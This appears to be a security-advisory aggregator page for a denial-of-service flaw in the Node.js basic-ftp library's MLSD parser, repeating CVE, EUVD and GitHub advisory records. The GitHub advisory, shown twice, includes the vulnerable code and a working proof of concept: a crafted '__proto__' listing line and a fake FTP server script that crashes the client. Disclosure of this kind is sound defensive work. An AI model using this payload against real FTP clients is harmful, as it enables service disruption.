Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

basic-ftp · Vulnerability

CVSS 3.1 5.3 MEDIUMEUVD CVSS 3.1 5.3 CVSS_V3 Publisher rating MODERATEFixed by basic-ftp 6.2.4KEV status unknown

cve-program · CVE-2026-126345

Published

basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that the resolved property is an own handler. A fact named __proto__ therefore resolves to Object.prototype, bypasses the missing-handler guard, and is called as though it were a function, producing a TypeError. The error propagates through Client.list() and APIs that depend on it because it is not an FTPError. A malicious or compromised FTP server, or an on-path attacker on a plaintext FTP session, can make the affected operation reject, and the Node.js process terminates under the default behavior in Node.js 15 and later only if the application leaves that rejection unhandled. This issue is fixed in version 6.2.4.

Read the publisher's advisory

euvd · EUVD-2026-124723

Published

basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that the resolved property is an own handler. A fact named __proto__ therefore resolves to Object.prototype, bypasses the missing-handler guard, and is called as though it were a function, producing a TypeError. The error propagates through Client.list() and APIs that depend on it because it is not an FTPError. A malicious or compromised FTP server, or an on-path attacker on a plaintext FTP session, can make the affected operation reject, and the Node.js process terminates under the default behavior in Node.js 15 and later only if the application leaves that rejection unhandled. This issue is fixed in version 6.2.4.

Read the publisher's advisory

osv · GHSA-5pm8-86m8-9m6r

Published

### Summary basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's response, with no validation. A directory-listing line containing the fact name "__proto__" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the "not a function" guard is bypassed and the code throws `TypeError: factHandler is not a function`. This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to — or any on-path attacker on a plaintext (non-TLS) FTP session — can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15). ### Details File: src/parseListMLSD.ts ``` const factHandlersByName: {[key: string]: FactHandler} = { "size": parseSize, "sizd": parseSize, "unique": (value, info) => { info.uniqueID = value }, "modify": (value, info) => { ... }, "type": (value, info) => { ... }, "unix.mode": (value, info) => { ... }, ... } export function parseLine(line: string): FileInfo | undefined { const [ packedFacts, name ] = splitStringOnce(line, " ") ... const facts = packedFacts.split(";") for (const fact of facts) { const [ factName, factValue ] = splitStringOnce(fact, "=") if (!factValue) { continue } const factHandler = factHandlersByName[factName.toLowerCase()] // <-- unsafe lookup if (!factHandler) { continue } const result = factHandler(factValue, info) // <-- throws here ... } return info } ``` factHandlersByName is a plain `{}` object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === "__proto__", the bracket lookup factHandlersByName["__proto__"] returns Object.prototype itself — a truthy, non-undefined value — so the `if (!factHandler) continue` guard does not fire. The code then tries to call Object.prototype as a function: `factHandler(factValue, info)`, which throws `TypeError: factHandler is not a function`. This line runs inside parseList() (src/parseList.ts), called synchronously from a `.map()` over every line of the listing, which in turn is called from Client._requestListWithCommand() -> Client.list() (src/Client.ts). list()'s only error handling is: ``` catch (err) { const shouldTryNext = err instanceof FTPError if (!shouldTryNext) { throw err } lastError = err } ``` A plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it. Affected call paths (all eventually call Client.list()): - Client.list() - Client.downloadToDir() / _downloadFromWorkingDir() - Client.clearWorkingDir() - Client.removeDir() Only "__proto__" triggers the crash this way; other reserved Object.prototype property names tested ("constructor", "toString", "hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property. ### Proof of concept Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/. Step 1 — Minimal reproduction of the parser bug alone: node -e ' const { parseList } = require("./dist/parseList"); parseList("__proto__=x;type=file;size=10; evil.txt"); ' Expected result: Uncaught TypeError: factHandler is not a function at parseLine (.../dist/parseListMLSD.js:...) Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification: Save as poc.js in the repo root and run `node poc.js`: const net = require("net") const { Client } = require("./dist/index") const server = net.createServer(socket => { socket.write("220 fake ftp ready\r\n") socket.on("data", data => { const cmd = data.toString().trim() if (cmd.startsWith("USER")) socket.write("230 ok\r\n") else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") || cmd.startsWith("STRU") || cmd.startsWith("PBSZ") || cmd.startsWith("PROT")) socket.write("200 ok\r\n") else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n") else if (cmd.startsWith("EPSV")) { const dataServer = net.createServer(dsock => { // The malicious line: fact name "__proto__" dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n") }) dataServer.listen(0, "127.0.0.1", () => { const p = dataServer.address().port socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`) }) } else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) { socket.write("150 Here comes the listing\r\n") setTimeout(() => socket.write("226 Listing complete\r\n"), 50) } else socket.write("200 ok\r\n") }) }) server.listen(2121, "127.0.0.1", async () => { const client = new Client() try { await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" }) const files = await client.list() console.log("list() returned normally (unexpected):", files) } catch (err) { console.log("client.list() threw:", err.constructor.name, "-", err.message) } finally { client.close() server.close() process.exit(0) } }) Expected output: client.list() threw: TypeError - factHandler is not a function Configuration notes: - No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV text) session using the server's FEAT response to turn on MLSD, which is the common path for any modern FTP server. - The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since parseList() auto-detects the format from the last listing line. - In a real application without a try/catch around list()/downloadToDir()/ clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the Node.js process by default (Node >=15 unhandledRejection behavior is "throw"). ### Impact Type: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal). Who is impacted: Any application using basic-ftp's Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required — a single crafted directory-listing line is sufficient. Confidentiality: None. Integrity: None. Availability: High — unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-126345

Published

basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()

basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that the resolved property is an own handler. A fact named __proto__ therefore resolves to Object.prototype, bypasses the missing-handler guard, and is called as though it were a function, producing a TypeError. The error propagates through Client.list() and APIs that depend on it because it is not an FTPError. A malicious or compromised FTP server, or an on-path attacker on a plaintext FTP session, can make the affected operation reject, and the Node.js process terminates under the default behavior in Node.js 15 and later only if the application leaves that rejection unhandled. This issue is fixed in version 6.2.4.

Source published
12 Nov 2026 21:29:44 UTC
Source modified
12 Nov 2026 21:29:44 UTC
Saved here
12 Nov 2026 23:16:18 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

euvd · EUVD-2026-124723

Published

basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that …

basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that the resolved property is an own handler. A fact named __proto__ therefore resolves to Object.prototype, bypasses the missing-handler guard, and is called as though it were a function, producing a TypeError. The error propagates through Client.list() and APIs that depend on it because it is not an FTPError. A malicious or compromised FTP server, or an on-path attacker on a plaintext FTP session, can make the affected operation reject, and the Node.js process terminates under the default behavior in Node.js 15 and later only if the application leaves that rejection unhandled. This issue is fixed in version 6.2.4.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 12, 2026, 9:29:44 PM

dateUpdated: Nov 12, 2026, 9:29:44 PM

Source published
Nov 12, 2026, 9:29:44 PM (timezone not stated)
Source modified
Nov 12, 2026, 9:29:44 PM (timezone not stated)
Saved here
12 Nov 2026 22:18:59 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

osv · GHSA-5pm8-86m8-9m6r

Published

basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()

### Summary basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's response, with no validation. A directory-listing line containing the fact name "__proto__" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the "not a function" guard is bypassed and the code throws `TypeError: factHandler is not a function`. This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to — or any on-path attacker on a plaintext (non-TLS) FTP session — can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15). ### Details File: src/parseListMLSD.ts ``` const factHandlersByName: {[key: string]: FactHandler} = { "size": parseSize, "sizd": parseSize, "unique": (value, info) => { info.uniqueID = value }, "modify": (value, info) => { ... }, "type": (value, info) => { ... }, "unix.mode": (value, info) => { ... }, ... } export function parseLine(line: string): FileInfo | undefined { const [ packedFacts, name ] = splitStringOnce(line, " ") ... const facts = packedFacts.split(";") for (const fact of facts) { const [ factName, factValue ] = splitStringOnce(fact, "=") if (!factValue) { continue } const factHandler = factHandlersByName[factName.toLowerCase()] // <-- unsafe lookup if (!factHandler) { continue } const result = factHandler(factValue, info) // <-- throws here ... } return info } ``` factHandlersByName is a plain `{}` object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === "__proto__", the bracket lookup factHandlersByName["__proto__"] returns Object.prototype itself — a truthy, non-undefined value — so the `if (!factHandler) continue` guard does not fire. The code then tries to call Object.prototype as a function: `factHandler(factValue, info)`, which throws `TypeError: factHandler is not a function`. This line runs inside parseList() (src/parseList.ts), called synchronously from a `.map()` over every line of the listing, which in turn is called from Client._requestListWithCommand() -> Client.list() (src/Client.ts). list()'s only error handling is: ``` catch (err) { const shouldTryNext = err instanceof FTPError if (!shouldTryNext) { throw err } lastError = err } ``` A plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it. Affected call paths (all eventually call Client.list()): - Client.list() - Client.downloadToDir() / _downloadFromWorkingDir() - Client.clearWorkingDir() - Client.removeDir() Only "__proto__" triggers the crash this way; other reserved Object.prototype property names tested ("constructor", "toString", "hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property. ### Proof of concept Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/. Step 1 — Minimal reproduction of the parser bug alone: node -e ' const { parseList } = require("./dist/parseList"); parseList("__proto__=x;type=file;size=10; evil.txt"); ' Expected result: Uncaught TypeError: factHandler is not a function at parseLine (.../dist/parseListMLSD.js:...) Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification: Save as poc.js in the repo root and run `node poc.js`: const net = require("net") const { Client } = require("./dist/index") const server = net.createServer(socket => { socket.write("220 fake ftp ready\r\n") socket.on("data", data => { const cmd = data.toString().trim() if (cmd.startsWith("USER")) socket.write("230 ok\r\n") else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") || cmd.startsWith("STRU") || cmd.startsWith("PBSZ") || cmd.startsWith("PROT")) socket.write("200 ok\r\n") else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n") else if (cmd.startsWith("EPSV")) { const dataServer = net.createServer(dsock => { // The malicious line: fact name "__proto__" dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n") }) dataServer.listen(0, "127.0.0.1", () => { const p = dataServer.address().port socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`) }) } else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) { socket.write("150 Here comes the listing\r\n") setTimeout(() => socket.write("226 Listing complete\r\n"), 50) } else socket.write("200 ok\r\n") }) }) server.listen(2121, "127.0.0.1", async () => { const client = new Client() try { await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" }) const files = await client.list() console.log("list() returned normally (unexpected):", files) } catch (err) { console.log("client.list() threw:", err.constructor.name, "-", err.message) } finally { client.close() server.close() process.exit(0) } }) Expected output: client.list() threw: TypeError - factHandler is not a function Configuration notes: - No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV text) session using the server's FEAT response to turn on MLSD, which is the common path for any modern FTP server. - The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since parseList() auto-detects the format from the last listing line. - In a real application without a try/catch around list()/downloadToDir()/ clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the Node.js process by default (Node >=15 unhandledRejection behavior is "throw"). ### Impact Type: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal). Who is impacted: Any application using basic-ftp's Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required — a single crafted directory-listing line is sufficient. Confidentiality: None. Integrity: None. Availability: High — unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.

Source published
12 Nov 2026 21:42:12 UTC
Source modified
12 Nov 2026 21:45:03 UTC
Saved here
12 Nov 2026 22:16:33 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 14 Nov 11:24 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current